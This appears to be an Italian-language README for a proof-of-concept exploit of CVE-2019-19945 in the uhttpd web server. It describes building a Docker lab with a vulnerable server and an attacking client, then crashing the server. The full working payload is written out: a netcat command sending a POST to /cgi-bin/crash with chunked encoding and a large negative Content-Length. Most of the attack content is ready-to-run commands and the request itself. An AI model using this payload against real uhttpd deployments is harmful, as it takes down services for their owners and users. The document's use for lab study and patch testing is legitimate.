
Exploit proof-of-concept per CVE-2019-19945, che dimostra un attacco denial-of-service contro uhttpd tramite una richiesta POST modificata con un'intestazione Content-Length negativa.
Questo è il codice per il primo CVE proposto
Installare Docker
Costruire ed eseguire il server cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve
Ottenere l'IP del container del server Linux sudo docker container inspect server | grep -i IPAddress Windows PowerShell docker container inspect server | Select-String "IPAddress" Estrarre l'IP e aggiungerlo al comando per la creazione del client Puoi verificare il server andando su localhost:80 nel tuo browser
Costruire ed eseguire il client decommentando il CMD nel Client/Dockerfile l'attacco partirà automaticamente all'avvio del container cd ../Client/ docker build --build-arg server_ip=<SERVER_IP> -t client/cve . docker run -d -p 8080:8080 client/cve
Collegarsi al container del client docker container ls trovare il container client/cve e collegarsi docker exec -it /bin/sh
Quando sei pronto, lancia l'attacco ./crash.sh
Il server non sarà in grado di rispondere
Non ha davvero senso fornire codice sorgente commentato poiché l'exploit è molto corto
L'exploit consiste quindi nell'usare Netcat e inviare una richiesta POST con un Content-Length negativo e grande al server, riguardo la gestione dei file nella directory cgi-bin/
L'esecuzione viene effettuata usando un semplice script netcat. Qui si fa riferimento a un file nella cartella CGI-bin del server chiamato Crash nc <SERVER_IP> < crash.poc
POST /cgi-bin/crash HTTP/1.0 Transfer-Encoding: chunked Content-Length: -100000
Il problema più grande è stato cercare di far funzionare le vecchie versioni di uhttpd in un ambiente docker aggiornato.